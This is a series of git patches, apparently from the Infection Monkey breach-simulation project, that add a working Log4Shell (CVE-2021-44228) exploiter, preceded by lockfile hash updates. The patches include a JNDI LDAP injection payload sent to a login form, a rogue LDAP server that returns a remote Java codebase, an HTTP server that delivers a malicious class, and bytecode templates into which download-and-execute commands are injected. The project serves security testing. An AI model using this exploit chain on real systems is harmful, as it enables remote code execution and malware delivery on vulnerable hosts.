"sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d", + "sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9", + "sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf", + "sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323", + "sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32", + "sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4", + "sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f", + "sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546", + "sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878", + "sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565", + "sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415" + ], + "markers": "platform_system == 'Windows'", + "version": "==1.0.2" + }, "typing-extensions": { "hashes": [ - "sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e", - "sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7", - "sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34" + "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e", + "sha256:7f001e5ac290a0c0401508864c7ec868be4e701886d5b573a9528ed3973d9d3b" ], "index": "pypi", - "version": "==3.10.0.2" + "version": "==4.0.1" }, "urllib3": { "hashes": [ @@ -989,11 +1148,11 @@ }, "werkzeug": { "hashes": [ - "sha256:1de1db30d010ff1af14a009224ec49ab2329ad2cde454c8a708130642d579c42", - "sha256:6c1ec500dcdba0baa27600f6a22f6333d8b662d22027ff9f6202e3367413caa8" + "sha256:63d3dc1cf60e7b7e35e97fa9861f7397283b75d765afcaefd993d6046899de8f", + "sha256:aa2bb6fc8dee8d6c504c0ac1e7f5f7dc5810a9903e793b6f715a9f015bdadb9a" ], "markers": "python_version >= '3.6'", - "version": "==2.0.1" + "version": "==2.0.2" }, "winacl": { "hashes": [ @@ -1036,11 +1195,68 @@ }, "zipp": { "hashes": [ - "sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3", - "sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4" + "sha256:71c644c5369f4a6e07636f0aa966270449561fcea2e3d6747b8d23efaa9d7832", + "sha256:9fe5ea21568a0a70e50f273397638d39b03353731e6cbbb3fd8502a33fec40bc" ], - "markers": "python_version >= '3.6'", - "version": "==3.5.0" + "markers": "python_version < '3.10'", + "version": "==3.6.0" + }, + "zope.interface": { + "hashes": [ + "sha256:08f9636e99a9d5410181ba0729e0408d3d8748026ea938f3b970a0249daa8192", + "sha256:0b465ae0962d49c68aa9733ba92a001b2a0933c317780435f00be7ecb959c702", + "sha256:0cba8477e300d64a11a9789ed40ee8932b59f9ee05f85276dbb4b59acee5dd09", + "sha256:0cee5187b60ed26d56eb2960136288ce91bcf61e2a9405660d271d1f122a69a4", + "sha256:0ea1d73b7c9dcbc5080bb8aaffb776f1c68e807767069b9ccdd06f27a161914a", + "sha256:0f91b5b948686659a8e28b728ff5e74b1be6bf40cb04704453617e5f1e945ef3", + "sha256:15e7d1f7a6ee16572e21e3576d2012b2778cbacf75eb4b7400be37455f5ca8bf", + "sha256:17776ecd3a1fdd2b2cd5373e5ef8b307162f581c693575ec62e7c5399d80794c", + "sha256:194d0bcb1374ac3e1e023961610dc8f2c78a0f5f634d0c737691e215569e640d", + "sha256:1c0e316c9add0db48a5b703833881351444398b04111188069a26a61cfb4df78", + "sha256:205e40ccde0f37496904572035deea747390a8b7dc65146d30b96e2dd1359a83", + "sha256:273f158fabc5ea33cbc936da0ab3d4ba80ede5351babc4f577d768e057651531", + "sha256:2876246527c91e101184f63ccd1d716ec9c46519cc5f3d5375a3351c46467c46", + "sha256:2c98384b254b37ce50eddd55db8d381a5c53b4c10ee66e1e7fe749824f894021", + "sha256:2e5a26f16503be6c826abca904e45f1a44ff275fdb7e9d1b75c10671c26f8b94", + "sha256:334701327f37c47fa628fc8b8d28c7d7730ce7daaf4bda1efb741679c2b087fc", + "sha256:3748fac0d0f6a304e674955ab1365d515993b3a0a865e16a11ec9d86fb307f63", + "sha256:3c02411a3b62668200910090a0dff17c0b25aaa36145082a5a6adf08fa281e54", + "sha256:3dd4952748521205697bc2802e4afac5ed4b02909bb799ba1fe239f77fd4e117", + "sha256:3f24df7124c323fceb53ff6168da70dbfbae1442b4f3da439cd441681f54fe25", + "sha256:469e2407e0fe9880ac690a3666f03eb4c3c444411a5a5fddfdabc5d184a79f05", + "sha256:4de4bc9b6d35c5af65b454d3e9bc98c50eb3960d5a3762c9438df57427134b8e", + "sha256:5208ebd5152e040640518a77827bdfcc73773a15a33d6644015b763b9c9febc1", + "sha256:52de7fc6c21b419078008f697fd4103dbc763288b1406b4562554bd47514c004", + "sha256:5bb3489b4558e49ad2c5118137cfeaf59434f9737fa9c5deefc72d22c23822e2", + "sha256:5dba5f530fec3f0988d83b78cc591b58c0b6eb8431a85edd1569a0539a8a5a0e", + "sha256:5dd9ca406499444f4c8299f803d4a14edf7890ecc595c8b1c7115c2342cadc5f", + "sha256:5f931a1c21dfa7a9c573ec1f50a31135ccce84e32507c54e1ea404894c5eb96f", + "sha256:63b82bb63de7c821428d513607e84c6d97d58afd1fe2eb645030bdc185440120", + "sha256:66c0061c91b3b9cf542131148ef7ecbecb2690d48d1612ec386de9d36766058f", + "sha256:6f0c02cbb9691b7c91d5009108f975f8ffeab5dff8f26d62e21c493060eff2a1", + "sha256:71aace0c42d53abe6fc7f726c5d3b60d90f3c5c055a447950ad6ea9cec2e37d9", + "sha256:7d97a4306898b05404a0dcdc32d9709b7d8832c0c542b861d9a826301719794e", + "sha256:7df1e1c05304f26faa49fa752a8c690126cf98b40b91d54e6e9cc3b7d6ffe8b7", + "sha256:8270252effc60b9642b423189a2fe90eb6b59e87cbee54549db3f5562ff8d1b8", + "sha256:867a5ad16892bf20e6c4ea2aab1971f45645ff3102ad29bd84c86027fa99997b", + "sha256:877473e675fdcc113c138813a5dd440da0769a2d81f4d86614e5d62b69497155", + "sha256:8892f89999ffd992208754851e5a052f6b5db70a1e3f7d54b17c5211e37a98c7", + "sha256:9a9845c4c6bb56e508651f005c4aeb0404e518c6f000d5a1123ab077ab769f5c", + "sha256:a1e6e96217a0f72e2b8629e271e1b280c6fa3fe6e59fa8f6701bec14e3354325", + "sha256:a8156e6a7f5e2a0ff0c5b21d6bcb45145efece1909efcbbbf48c56f8da68221d", + "sha256:a9506a7e80bcf6eacfff7f804c0ad5350c8c95b9010e4356a4b36f5322f09abb", + "sha256:af310ec8335016b5e52cae60cda4a4f2a60a788cbb949a4fbea13d441aa5a09e", + "sha256:b0297b1e05fd128d26cc2460c810d42e205d16d76799526dfa8c8ccd50e74959", + "sha256:bf68f4b2b6683e52bec69273562df15af352e5ed25d1b6641e7efddc5951d1a7", + "sha256:d0c1bc2fa9a7285719e5678584f6b92572a5b639d0e471bb8d4b650a1a910920", + "sha256:d4d9d6c1a455d4babd320203b918ccc7fcbefe308615c521062bc2ba1aa4d26e", + "sha256:db1fa631737dab9fa0b37f3979d8d2631e348c3b4e8325d6873c2541d0ae5a48", + "sha256:dd93ea5c0c7f3e25335ab7d22a507b1dc43976e1345508f845efc573d3d779d8", + "sha256:f44e517131a98f7a76696a7b21b164bcb85291cee106a23beccce454e1f433a4", + "sha256:f7ee479e96f7ee350db1cf24afa5685a5899e2b34992fb99e1f7c1b0b758d263" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==5.4.0" } }, "develop": {} From 4d5a2511c6bfcf42f301131778f647e7f00b1132 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 21 Dec 2021 15:13:28 -0500 Subject: [PATCH 03/87] Agent: Add LDAP server for log4shell exploit --- .../exploit/log4shell_utils/__init__.py | 1 + .../exploit/log4shell_utils/ldap_server.py | 90 +++++++++++++++++++ 2 files changed, 91 insertions(+) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py index b978afa59..5ffe79e49 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -1 +1,2 @@ from .exploit_builder import build_exploit_bytecode, InvalidExploitTemplateError +from .ldap_server import LDAPExploitServer diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py new file mode 100644 index 000000000..f575f20cc --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -0,0 +1,90 @@ +import tempfile +from pathlib import Path + +from ldaptor.interfaces import IConnectedLDAPEntry +from ldaptor.ldiftree import LDIFTreeEntry +from ldaptor.protocols.ldap.ldapserver import LDAPServer +from twisted.application import service +from twisted.internet import reactor +from twisted.internet.protocol import ServerFactory +from twisted.python import log +from twisted.python.components import registerAdapter + +EXPLOIT_RDN = "dn=Exploit" + + +class Tree: + """ + An LDAP directory information tree (DIT) used to exploit log4shell + Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html + """ + + def __init__(self, http_server_ip: str, http_server_port: int, storage_dir: Path): + self.path = tempfile.mkdtemp(prefix="log4shell", suffix=".ldap", dir=storage_dir) + self.db = LDIFTreeEntry(self.path) + + self._init_db(http_server_ip, http_server_port) + + def _init_db(self, http_server_ip: str, http_server_port: int): + attributes = { + "javaFactory": ["Exploit"], + "objectClass": ["javaNamingReference"], + "javaCodeBase": [f"http://{http_server_ip}:{http_server_port}/"], + "javaClassName": ["Exploit"], + } + + self.db.addChild(EXPLOIT_RDN, attributes) + + +class LDAPServerFactory(ServerFactory): + """ + Our Factory is meant to persistently store the ldap tree + Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html + """ + + protocol = LDAPServer + + def __init__(self, root): + self.root = root + + def buildProtocol(self, addr): + proto = self.protocol() + proto.debug = self.debug + proto.factory = self + return proto + + +class LDAPExploitServer: + """ + This class wraps the creation of an Ldaptor LDAP server that is used to exploit log4shell. + Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html + """ + + def __init__( + self, ldap_server_port: int, http_server_ip: str, http_server_port: int, storage_dir: Path + ): + LDAPExploitServer.output_twisted_logs_to_python_logger() + + registerAdapter(lambda x: x.root, LDAPServerFactory, IConnectedLDAPEntry) + + tree = Tree(http_server_ip, http_server_port, storage_dir) + factory = LDAPServerFactory(tree.db) + factory.debug = True + + application = service.Application("ldaptor-server") + service.IServiceCollection(application) + reactor.listenTCP(ldap_server_port, factory) + + @staticmethod + def output_twisted_logs_to_python_logger(): + # Configures Twisted to output its logs using the standard python logging module instead of + # the Twisted logging module. + # https://twistedmatrix.com/documents/current/api/twisted.python.log.PythonLoggingObserver.html + log_observer = log.PythonLoggingObserver() + log_observer.start() + + def run(self): + reactor.run() + + def stop(self): + reactor.stop() From fddaa169319fdda11919442fc9f9847a681433e7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 21 Dec 2021 15:17:46 -0500 Subject: [PATCH 04/87] Agent: Improve InvalidExploitTemplateError messages --- .../exploit/log4shell_utils/exploit_builder.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py index 5cbc3b9e7..6296884a9 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py @@ -1,6 +1,8 @@ import struct from pathlib import Path +# This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce + EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "Exploit.class.template" INJECTION_TAG = "###" @@ -34,7 +36,7 @@ def _load_template_bytecode(exploit_template_path: Path) -> bytes: if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"): raise InvalidExploitTemplateError( - f"Trying to load non-compiled Java class `{EXPLOIT_TEMPLATE_PATH}`." + f'The file "{EXPLOIT_TEMPLATE_PATH}" is not a compiled Java class' ) return template_bytecode @@ -44,7 +46,9 @@ def _inject_payload(payload: str, template_bytecode: bytes): payload_bytes = payload.encode() if not INJECTION_TAG.encode() in template_bytecode: - raise InvalidExploitTemplateError(f'No "{INJECTION_TAG}" tag to inject payload into.') + raise InvalidExploitTemplateError( + f'Unable to find "{INJECTION_TAG}" tag in the template bytecode' + ) index = template_bytecode.index(INJECTION_TAG.encode()) From 41b97cb54a00d9e1ea93475c3a89fce3bcc9885d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 22 Dec 2021 17:17:02 +0200 Subject: [PATCH 05/87] TEMP: base implementation of the log4shell --- monkey/infection_monkey/exploit/log4shell.py | 98 +++++++++++++++++++ .../cc/services/config_schema/basic.py | 1 + .../definitions/exploiter_classes.py | 9 ++ 3 files changed, 108 insertions(+) create mode 100644 monkey/infection_monkey/exploit/log4shell.py diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py new file mode 100644 index 000000000..4b58ad396 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -0,0 +1,98 @@ +import http.client +import http.server +import logging + +import requests + +from common.utils.exploit_enum import ExploitType +from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode +from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.model import POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, VictimHost +from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.utils.monkey_dir import get_monkey_dir_path + +logger = logging.getLogger(__name__) + +LDAP_PAYLOAD = "${jndi:ldap://192.168.56.1:8080/dn=LinuxExploit}" + + +class Log4jExploiter(WebRCE): + _TARGET_OS_TYPE = ["linux", "windows"] + EXPLOIT_TYPE = ExploitType.VULNERABILITY + _EXPLOITED_SERVICE = "Log4j" + LDAP_PORT = 8080 + CLASS_HTTP_SERVER_PORT = 1337 + URLS = ["http://192.168.56.101:8080/login"] + + def __init__(self, host: VictimHost): + super().__init__(host) + self._client = None + self._stop_http = True + + def exploit_host(self): + + paths = self.get_monkey_paths() + # Create server for http download and wait for it's startup. + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) + if not http_path: + logger.debug("Exploiter failed, http transfer creation failed.") + return False + logger.info("Started http server on %s", http_path) + + commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} + command = self.get_command(paths["dest_path"], http_path, commands) + + java_class = self.build_java_class(command) + class_http_server_ip = get_interface_to_target(self.host.ip_addr) + self.start_java_class_http_server(class_http_server_ip, java_class) + ldap = LDAPExploitServer( + ldap_server_port=8080, + http_server_ip=class_http_server_ip, + http_server_port=self.CLASS_HTTP_SERVER_PORT, + storage_dir=get_monkey_dir_path(), + ) + ldap.run() + + payload = {"username": LDAP_PAYLOAD, "password": "m0nk3y"} + try: + requests.post(Log4jExploiter.URLS[0], data=payload, timeout=5) + except requests.ReadTimeout: + logger.error("Couldn't send request to the vulnerable machine") + return False + finally: + self._stop_http = True + ldap.stop() + return True + + def build_java_class(self, exploit_command: str) -> bytes: + return build_exploit_bytecode(exploit_command) + + def upload_monkey(self, url, commands=None): + pass + + def exploit(self, url, command): + pass + + class HTTPHandler(http.server.BaseHTTPRequestHandler): + + java_class: bytes + + def do_GET(self): + self.send_response(200) + self.send_header("Content-type", "application/octet-stream") + self.end_headers() + logger.info("Sending payload class!") + self.wfile.write(self.java_class) + + def start_java_class_http_server(self, ip: str, java_class: bytes): + # TODO run this on a separate thread + self._stop_http = False + Log4jExploiter.HTTPHandler.java_class = java_class + + server = http.server.HTTPServer( + (ip, Log4jExploiter.CLASS_HTTP_SERVER_PORT), Log4jExploiter.HTTPHandler + ) + + while not self._stop_http: + server.handle_request() diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index 6608cac2c..65d5ec8e7 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -17,6 +17,7 @@ BASIC = { "SmbExploiter", "WmiExploiter", "SSHExploiter", + "Log4ShellExploiter", "ShellShockExploiter", "SambaCryExploiter", "ElasticGroovyExploiter", diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 85cc09014..90f47f48d 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -42,6 +42,15 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey/docs/reference" "/exploiters/mssql/", }, + # TODO finish description + { + "type": "string", + "enum": ["Log4ShellExploiter"], + "title": "Log4Shell Exploiter", + "safe": True, + "info": "TODO: provide full info.", + "link": "TODO: link to docs", + }, { "type": "string", "enum": ["Ms08_067_Exploiter"], From 1884c6d7678c76cfe94d883798b325f79cf58cc3 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 23 Dec 2021 16:45:25 +0200 Subject: [PATCH 06/87] TEMP: base implementation of the log4shell --- monkey/infection_monkey/exploit/log4shell.py | 52 +++++++++++++------ .../exploit/log4shell_utils/ldap_server.py | 5 +- 2 files changed, 40 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 4b58ad396..a5f9e17a5 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,6 +1,7 @@ import http.client import http.server import logging +from threading import Thread import requests @@ -14,21 +15,21 @@ from infection_monkey.utils.monkey_dir import get_monkey_dir_path logger = logging.getLogger(__name__) -LDAP_PAYLOAD = "${jndi:ldap://192.168.56.1:8080/dn=LinuxExploit}" +LDAP_PAYLOAD = "${jndi:ldap://192.168.56.1:8080/dn=Exploit}" -class Log4jExploiter(WebRCE): +class Log4ShellExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] EXPLOIT_TYPE = ExploitType.VULNERABILITY _EXPLOITED_SERVICE = "Log4j" LDAP_PORT = 8080 CLASS_HTTP_SERVER_PORT = 1337 + DOWNLOAD_TIMEOUT = 15 URLS = ["http://192.168.56.101:8080/login"] def __init__(self, host: VictimHost): super().__init__(host) self._client = None - self._stop_http = True def exploit_host(self): @@ -45,23 +46,35 @@ class Log4jExploiter(WebRCE): java_class = self.build_java_class(command) class_http_server_ip = get_interface_to_target(self.host.ip_addr) - self.start_java_class_http_server(class_http_server_ip, java_class) + + java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class) + java_class_http_thread.start() + ldap = LDAPExploitServer( ldap_server_port=8080, http_server_ip=class_http_server_ip, http_server_port=self.CLASS_HTTP_SERVER_PORT, storage_dir=get_monkey_dir_path(), ) - ldap.run() + ldap_thread = ldap.get_run_thread() + ldap_thread.start() - payload = {"username": LDAP_PAYLOAD, "password": "m0nk3y"} + payload = {"uname": LDAP_PAYLOAD, "password": "m0nk3y"} try: - requests.post(Log4jExploiter.URLS[0], data=payload, timeout=5) + response = requests.post( + Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False + ) except requests.ReadTimeout: logger.error("Couldn't send request to the vulnerable machine") return False finally: - self._stop_http = True + http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + http_thread.stop() + + java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + Log4ShellExploiter.HTTPHandler.stop = True + + ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) ldap.stop() return True @@ -77,22 +90,31 @@ class Log4jExploiter(WebRCE): class HTTPHandler(http.server.BaseHTTPRequestHandler): java_class: bytes + class_downloaded = False + stop = False def do_GET(self): + logger.error("Got a get request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") self.end_headers() logger.info("Sending payload class!") self.wfile.write(self.java_class) + Log4ShellExploiter.HTTPHandler.class_downloaded = True - def start_java_class_http_server(self, ip: str, java_class: bytes): - # TODO run this on a separate thread - self._stop_http = False - Log4jExploiter.HTTPHandler.java_class = java_class + @staticmethod + def _run_class_http_server(ip): server = http.server.HTTPServer( - (ip, Log4jExploiter.CLASS_HTTP_SERVER_PORT), Log4jExploiter.HTTPHandler + (ip, Log4ShellExploiter.CLASS_HTTP_SERVER_PORT), Log4ShellExploiter.HTTPHandler ) - - while not self._stop_http: + while ( + not Log4ShellExploiter.HTTPHandler.class_downloaded + and not Log4ShellExploiter.HTTPHandler.stop + ): server.handle_request() + + def get_java_class_server_thread(self, ip: str, java_class: bytes): + Log4ShellExploiter.HTTPHandler.java_class = java_class + + return Thread(target=Log4ShellExploiter._run_class_http_server, args=[ip]) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index f575f20cc..8cad3fba3 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -1,5 +1,6 @@ import tempfile from pathlib import Path +from threading import Thread from ldaptor.interfaces import IConnectedLDAPEntry from ldaptor.ldiftree import LDIFTreeEntry @@ -83,8 +84,8 @@ class LDAPExploitServer: log_observer = log.PythonLoggingObserver() log_observer.start() - def run(self): - reactor.run() + def get_run_thread(self) -> Thread: + return Thread(target=reactor.run, args=[None]) def stop(self): reactor.stop() From e69639b426a65f212a898d097beef25843e58bc4 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 4 Jan 2022 16:09:19 +0200 Subject: [PATCH 07/87] Agent: use separate java classes for windows and linux in log4shell Linux and windows targets should use different java classes, because one is compiled to be launched in /bin/bash, another in cmd.exe. We can't just inject the whole command, because Runtime.getRuntime().exec() interprets the string in strange ways --- monkey/infection_monkey/exploit/log4shell.py | 49 +++++++++++++++--- .../log4shell_utils/Exploit.class.template | Bin 462 -> 0 bytes .../LinuxExploit.class.template | Bin 0 -> 523 bytes .../WindowsExploit.class.template | Bin 0 -> 523 bytes .../log4shell_utils/exploit_builder.py | 12 ++--- monkey/infection_monkey/model/__init__.py | 12 +++++ 6 files changed, 58 insertions(+), 15 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.class.template diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index a5f9e17a5..b7c1b2133 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -7,10 +7,21 @@ import requests from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode +from infection_monkey.exploit.log4shell_utils.exploit_builder import ( + LINUX_EXPLOIT_TEMPLATE_PATH, + WINDOWS_EXPLOIT_TEMPLATE_PATH, +) +from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, VictimHost +from infection_monkey.model import ( + LOG4SHELL_LINUX_COMMAND, + LOG4SHELL_WINDOWS_COMMAND, + MONKEY_ARG, + VictimHost, +) from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.monkey_dir import get_monkey_dir_path logger = logging.getLogger(__name__) @@ -41,8 +52,7 @@ class Log4ShellExploiter(WebRCE): return False logger.info("Started http server on %s", http_path) - commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} - command = self.get_command(paths["dest_path"], http_path, commands) + command = self.build_command(paths["dest_path"], http_path) java_class = self.build_java_class(command) class_http_server_ip = get_interface_to_target(self.host.ip_addr) @@ -59,11 +69,9 @@ class Log4ShellExploiter(WebRCE): ldap_thread = ldap.get_run_thread() ldap_thread.start() - payload = {"uname": LDAP_PAYLOAD, "password": "m0nk3y"} + payload = {"uname": self.build_ldap_payload(), "password": "m0nk3y"} try: - response = requests.post( - Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False - ) + requests.post(Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False) except requests.ReadTimeout: logger.error("Couldn't send request to the vulnerable machine") return False @@ -78,8 +86,33 @@ class Log4ShellExploiter(WebRCE): ldap.stop() return True + def build_ldap_payload(self): + interface_ip = get_interface_to_target(self.host.ip_addr) + return f"${{jndi:ldap://{interface_ip}:{Log4ShellExploiter.LDAP_PORT}/dn=Exploit}}" + + # TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command + def build_command(self, path, http_path): + # Build command to execute + monkey_cmd = build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=None + ) + if "linux" in self.host.os["type"]: + base_command = LOG4SHELL_LINUX_COMMAND + else: + base_command = LOG4SHELL_WINDOWS_COMMAND + + return base_command % { + "monkey_path": path, + "http_path": http_path, + "monkey_type": MONKEY_ARG, + "parameters": monkey_cmd, + } + def build_java_class(self, exploit_command: str) -> bytes: - return build_exploit_bytecode(exploit_command) + if "linux" in self.host.os["type"]: + return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH) + else: + return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH) def upload_monkey(self, url, commands=None): pass diff --git a/monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template deleted file mode 100644 index 9160de8adf930ed7f9b1b4bc748512642e77d189..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 462 zcmZXQO;5r=5Qg6^g@sza#cxbV4}u4|c!PK$co9D$M$cv4kj2uHvKao6XD(_y_yhb= z#%V)<#68UH%=^4E+5P$b`UY^0V+$Nb3ni4(*p70AV~1mxV~-)#R=&~~42gQF)6!KC$iiE6q=#9Zr#s(t;V#? z8cMw?D)mP1AJd{|$+;8^C-n`ruS4YzTbqWvFc5M&ZJ~w~eOh!3(A$xrXi-(A%qS;M zKfo4rVc4RWiklH=uh33x1#+J-N{M%vPj4`<7BQJ2E=hXi%^^Y2BwrF)nv|uA!{~8R K2+mV!pzsG1(OP2w diff --git a/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template new file mode 100644 index 0000000000000000000000000000000000000000..dc1ffff7ac575863a6aadbb66f8188d8b379a0cf GIT binary patch literal 523 zcmZWl%TB^j5IwgPZmk6r#0Lt9xBwIF#vR0s!HxKcB^qK}lzM|#u_aIpf8?5t8Wa5h zKgu{o0vPXN=FXWjXC7bQ@1Fqnv8_YLl8zLXIaV~RYFN{d4uExz4UP;)mLXD+uJjKW zLdDW0gL>%Q3Wj)1y5h9|*c9Em-E0%0Rh;&i8MS=dc{s5Gb{v{*|y!5Y5860wivkCl&;ykV^DS-nxjxC7}!FAAvq;i z2af3Y(sPMFmj5Gm*1Q*v&#*Wxx#+vTe585wmhdM*s#vQ1Q0oYf(A*o8$Ol4= zP(rmDY9eek!ik9W0)F)j^>{cUrAb+%UV&H)A+jpcB# zlyQm#Fy6(?oik_7Jifl)KLH%$P=$&O6)9|TY$@1Qu%jUD1G^l192t%*L#SpsmUqGs zD3)#+_}?T75FG zUCS%?j3-0GIy8=)hJEB2Vm?-}4X0bty`klF8MxW+l*NP!rHV;&6bc0m2PiNkm*o1y z6a&w49pcaB|A<|+d&2Y>;>(hovEx~Nl2yCHTLh_Msqv3frNwCi>Rv3~ucUuRtgcpE z4_#A?MpfjoMhEtv1m-VEHcU~5JR=`GdIg)(hao~XGz005h%Ts21ZQaO4N~X>fmR?P z>n%AE)LX$sNPhvpdxm^IosrU{tWYmsEP?=88EF#8l5~tB4(Wj-?)OVjC?WX+5WQ%Y literal 0 HcmV?d00001 diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py index 6296884a9..831ddfc05 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py @@ -3,7 +3,8 @@ from pathlib import Path # This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce -EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "Exploit.class.template" +LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template" +WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template" INJECTION_TAG = "###" @@ -11,16 +12,13 @@ class InvalidExploitTemplateError(Exception): pass -def build_exploit_bytecode( - payload_command: str, 